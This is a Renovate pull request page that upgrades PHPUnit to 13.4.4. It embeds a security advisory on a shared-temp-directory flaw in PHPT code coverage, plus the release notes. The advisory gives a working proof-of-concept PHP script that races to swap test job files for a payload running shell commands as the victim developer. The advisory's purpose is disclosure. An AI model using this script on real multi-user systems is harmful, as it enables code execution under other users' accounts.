Skip to content

chore(deps): update dependency phpunit/phpunit to v13.4.4 [security] - #705

Merged
vincentchalamon merged 1 commit into
mainfrom
renovate/packagist-phpunit-phpunit-vulnerability
Nov 1, 2026
Merged

vincentchalamon merged 1 commit into
mainfrom
renovate/packagist-phpunit-phpunit-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 31, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
phpunit/phpunit (source) 13.4.0 → 13.4.4 age confidence

PHPUnit vulnerable to code execution by other local users via shared temporary directory in PHPT code coverage handling

CVE-2026-119193 / GHSA-9vw2-f4vp-x7gf

More information

Details

Summary

When PHPT tests are run with code coverage, PHPUnit 13.4.0 to 13.4.3 writes the code of each PHPT test to a directory with a fixed name below the operating system's path used for temporary files, for instance /tmp/phpunit-phpt on Linux, and executes it from there. PHPUnit uses this directory even when it was created by another user.

On a system where the path used for temporary files is shared between users, another local user can create this directory before the developer runs PHPUnit, replace the code of a PHPT test before it is executed, and thereby execute arbitrary code with the privileges of the developer. The test still passes and the code coverage report is complete, so the attack is not visible.

The impact is full code execution as the user who runs PHPUnit. The likelihood is low: the attacker needs an account on the same system and must create the directory before the developer runs PHPT tests with code coverage. macOS and Windows use per-user temporary directories by default and are not affected in their default configuration. PHPUnit 12.5 and earlier are not affected.

Details

When code coverage is collected for a PHPT test, PHPUnit writes two temporary files: a .php file with the code of the PHPT test (the "job" file), which the child process executes, and a .coverage file, to which the child process writes the code coverage data it collected.

Since PHPUnit 13.4.0, these files are created in a directory with a fixed name:

Before a PHPT test is run with code coverage, this directory is created using Filesystem::createDirectory(). Filesystem::createDirectory() returns true when the directory already exists, without checking its owner or its permissions. When it does not exist, it is created with mode 0777 (subject to the umask).

Renderer::renderForCoverage() then writes the job file using file_put_contents(). The child process loads Composer's autoloader, the bootstrap script, and the code coverage driver, and then executes the job file using require.

When another user created the directory, that user owns it. The owner of a directory can list its contents and rename, delete, or replace every file in it, regardless of who owns the file. The directory does not have the sticky bit set, so protections such as Linux's fs.protected_regular and fs.protected_symlinks do not apply either. The random part of the file names therefore does not prevent the attack: the attacker waits for the job file to appear, renames it, and puts a file with their own code in its place. The attacker's code can then execute the original job file, so that the test passes and the code coverage report is complete.

The .coverage file can be replaced in the same way. TestCase::cleanupForCoverage() only allows objects of PHPUnit's class for raw code coverage data to be unserialized from it, so this only allows the falsification of code coverage data.

After the test, PHPUnit deletes both files, but not the directory. Once PHPUnit has created the directory for the developer, other users cannot write to it, unless the developer's umask allows this.

PHPUnit 12.5 and earlier are not affected: these versions write the temporary files next to the PHPT test file.

PHPUnit 13.4.4 creates the directory for the temporary files of PHPT tests with an unpredictable name and with permissions that only allow the current user to access it. A directory that already exists is not used.

Proof of concept

The following steps reproduce the issue on a Linux system with two users, alice (the developer) and mallory (the attacker), that share /tmp. They require PHP 8.4.1 or later with the posix extension and a code coverage driver (PCOV or Xdebug) as well as Composer.

  1. As root, create the two users and make sure that /tmp has its default permissions (1777) and that /tmp/phpunit-phpt does not exist:

    useradd -m alice
    useradd -m mallory
    ls -ld /tmp
    rm -rf /tmp/phpunit-phpt
    
  2. As alice, create a project with a PHPT test and a source file to collect code coverage for:

    mkdir -p ~/project/src ~/project/tests
    cd ~/project
    composer require --dev phpunit/phpunit:13.4.3
    

    ~/project/src/Greeter.php:

    <?php declare(strict_types=1);
    final class Greeter
    {
        public function greet(): string
        {
            return 'ok';
        }
    }

    ~/project/tests/greeter.phpt:

    --TEST--
    PHPT test that is run with code coverage
    --FILE--
    <?php declare(strict_types=1);
    require __DIR__ . '/../src/Greeter.php';
    print (new Greeter)->greet();
    --EXPECT--
    ok
    

    ~/project/phpunit.xml:

    <?xml version="1.0" encoding="UTF-8"?>
    <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:noNamespaceSchemaLocation="vendor/phpunit/phpunit/phpunit.xsd">
        <source>
            <include>
                <directory>src</directory>
            </include>
        </source>
    </phpunit>
  3. As mallory, save the following script as ~/attack.php and run it using php ~/attack.php. It creates /tmp/phpunit-phpt, waits for job files to appear in it, and replaces each of them with code that records the identity of the user that executes it and then executes the original job file:

    <?php declare(strict_types=1);
    $directory = '/tmp/phpunit-phpt';
    
    if (!@mkdir($directory)) {
        exit($directory . ' already exists' . PHP_EOL);
    }
    
    chmod($directory, 0777);
    
    $payload = '<?php file_put_contents(__DIR__ . "/proof.txt", shell_exec("id"), FILE_APPEND); require __FILE__ . ".orig";' . PHP_EOL;
    $replaced = [];
    
    while (true) {
        foreach (glob($directory . '/phpunit_phpt_*.php') as $job) {
            if (isset($replaced[$job])) {
                continue;
            }
    
            $replaced[$job] = true;
    
            file_put_contents($directory . '/payload.tmp', $payload);
            rename($job, $job . '.orig');
            rename($directory . '/payload.tmp', $job);
    
            print 'Replaced ' . $job . PHP_EOL;
        }
    
        usleep(1000);
    }
  4. As alice, run the PHPT test with code coverage (when Xdebug is used, prefix the command with XDEBUG_MODE=coverage):

    cd ~/project
    vendor/bin/phpunit --coverage-text tests/greeter.phpt
    

    PHPUnit reports OK (1 test, 1 assertion), and the code coverage report shows that Greeter::greet() is covered. Nothing in the output indicates that the code of the test was replaced.

  5. Check which user executed the code that mallory put in place:

    cat /tmp/phpunit-phpt/proof.txt
    

    The file is owned by alice and contains the output of id for alice, for instance:

    uid=1000(alice) gid=1000(alice) groups=1000(alice)
    
Impact

This is a local privilege escalation (CWE-379: Creation of Temporary File in Directory with Incorrect Permissions). A local user can execute arbitrary code with the privileges of another user who runs PHPT tests with code coverage. This gives the attacker access to everything the developer can access, for instance source code, credentials, and SSH keys.

Affected are users of PHPUnit 13.4.0 to 13.4.3 when all of the following apply:

  • PHPT tests with code coverage: PHPT tests are run while code coverage is collected, which requires a code coverage driver such as PCOV or Xdebug
  • Shared path for temporary files: The path used for temporary files (sys_get_temp_dir()) is shared between users. This is the case on Linux and other Unix-like systems with a shared /tmp, unless per-user temporary directories are used, for instance through systemd's PrivateTmp, pam_namespace, or a per-user TMPDIR. On macOS and Windows, the path used for temporary files is specific to the user by default
  • Local account: The attacker has an account on the same system, or controls a process that runs under another account, for instance a service
  • First to create the directory: The attacker creates the directory before the developer runs PHPT tests with code coverage for the first time since the path used for temporary files was last cleaned

Systems on which no other user, including system accounts that run services, can create files in the path used for temporary files are not affected. This is typically the case for a container or an ephemeral CI runner that is used by a single user.

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

sebastianbergmann/phpunit (phpunit/phpunit)

v13.4.4: PHPUnit 13.4.4

Compare Source

Fixed
  • The TeamCity logger writes testSuiteFinished twice for a test class when one of its before-first-test methods errors or fails
  • The TestDox output shows a less important outcome of a test that has more than one outcome, for instance the failure in tearDown() of a test that errored
  • When the test run is interrupted by a signal while a test is run in process isolation, the result of the test is discarded and the test is counted as passed, and the TestDox output cannot be printed
  • When no static analysis cache directory is configured, the cache directory that is automatically created in the operating system's path used for temporary files is also used when it was created by another user or can be written to by other users
  • The directory in the operating system's path used for temporary files in which the temporary files for collecting code coverage for a PHPT test are created has a fixed name, and is also used when it was created by another user, who can then replace the code of the PHPT test before it is executed

Learn how to install or update PHPUnit 13.4 in the documentation.

Keep up to date with PHPUnit:

v13.4.3: PHPUnit 13.4.3

Compare Source

Fixed
  • The dependencies of a test that are listed after a dependency on a test that does not return a value, or after a dependency on a larger test, were not checked, so the test was run instead of being skipped when one of these dependencies had not passed
  • Tests could not be run in process isolation when the namespace of the test class begins with a name that the code of the child process imports, for instance CodeCoverage or Facade
  • A test that is run in process isolation aborts the test run when its data set or a value returned by a test it depends on cannot be serialized, for instance because it is a closure
  • When a before-first-test method or an after-last-test method errors or fails, the remaining methods of the same kind are still called, and each of them that does not error or fail itself is reported with the exception of the earlier method
  • When a hook method of a test, for instance a #[Before] method, skips the test, the remaining hook methods of the same kind are still called, so the test is reported as errored instead of skipped when one of them errors
  • An error or failure in a before-first-test method or an after-last-test method that is called again in the child process of a test that is run in process isolation is reported twice, once for the test class and once for the test
  • When a before-first-test method errors, the progress output shows one E for the test class instead of one for each of its tests, only one of its tests is counted as run, and the test that is run next is shown as an error
  • When a before-first-test method fails, the progress output shows nothing for the tests of the test class and only one of them is counted as run
  • The Open Test Reporting XML logfile has no start for a test that errors before it is prepared, for instance because it depends on a test that does not exist, and no end for the test that is run after a test that is skipped because a test it depends on did not pass or because one of its
    requirements is not met
  • The Open Test Reporting XML logfile has no entry for a test that is marked as incomplete before it is prepared, for instance in setUp(), and reports the test that is run after it as aborted with the message of the incomplete test
  • The Open Test Reporting XML logfile has no end for the test that is run after a test whose preparation errors, for instance because setUp() raises an exception or the global state cannot be backed up
  • The Open Test Reporting XML logfile reports a test that has more than one outcome, for instance because tearDown() fails after the test errored, with its last outcome instead of its most severe one, and with more than one end when the preparation of the test errored
  • The Open Test Reporting XML logfile is not well-formed when a test name, a message, the output of a test, or the string representation of an exception contains ]]>, bytes that are not valid UTF-8, or characters that are not allowed in XML, for instance the escape character of an ANSI
    escape sequence
  • The Open Test Reporting XML logfile reports an issue that is triggered before a test is prepared, for instance in setUp(), with an empty ID before the start of the test

Learn how to install or update PHPUnit 13.4 in the documentation.

Keep up to date with PHPUnit:

v13.4.2: PHPUnit 13.4.2

Compare Source

Fixed
  • #​7033: Compact printer is created although an extension replaces the progress output
  • #​7035: Sorting tests by duration recomputes the duration of a test suite for every comparison
  • Sorting tests by size recomputes the size of a test suite for every comparison
  • expectUserDeprecationMessage() and expectUserDeprecationMessageMatches() did not see the deprecations triggered by an attempt of a retried test and saw those of the previously run test instead
  • The status of a test whose mock object raises an exception in its destructor is success although the test is reported as errored, so #[Retry] does not retry the test, --repeat does not skip the remaining repetitions, tearDown() sees the wrong status, and code coverage records the test as successful
  • Named arguments passed to with() were matched by position instead of by name, so an expectation such as ->with(b: 7) compared the expected value with the first parameter of the method and the parameter named $b was not checked
  • String keys of the parameter sets passed to withParameterSetsInOrder(), withParameterSetsInAnyOrder(), and withParameterSetsInPartialOrder() were ignored, so a parameter set such as ['b' => 7] compared the expected value with the first parameter of the method and the parameter
    named $b was not checked

Learn how to install or update PHPUnit 13.4 in the documentation.

Keep up to date with PHPUnit:

v13.4.1: PHPUnit 13.4.1

Compare Source

Changed
  • The Software Bill of Materials (SBOM) embedded in the PHAR now uses CycloneDX 1.7 and provides the NTIA minimum elements as well as the data fields that BSI TR-03183-2 (version 2.1.0) requires for logical and identified components, including component creators, original, distribution and effective licences, source code URIs, and the PHP runtime and its extensions as external components
Fixed
  • #​7029: TestSuite::runTests() doubles garbage collector time when zend.exception_ignore_args is off
  • setUpBeforeClass() and tearDownAfterClass() were run twice for a test class that is the only test class in a test suite of the XML configuration file that has the name of that test class
  • Tests could not be run in process isolation when the path of the bootstrap script, the test file, or the directory for temporary files contained a single quote
  • Arguments in the --ARGS-- section of a PHPT test that start with - were interpreted by PHP instead of being passed to the test when the test also has a --STDIN-- section
  • Recording the tests that passed in a child process copied all tests that had passed so far, which made running many tests in process isolation increasingly slow

Learn how to install or update PHPUnit 13.4 in the documentation.

Keep up to date with PHPUnit:

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added dependencies Pull requests that update a dependency file security labels Oct 31, 2026
@vincentchalamon
vincentchalamon merged commit 164da88 into main Nov 1, 2026
13 of 14 checks passed
@vincentchalamon
vincentchalamon deleted the renovate/packagist-phpunit-phpunit-vulnerability branch November 1, 2026 22:13
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file security

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant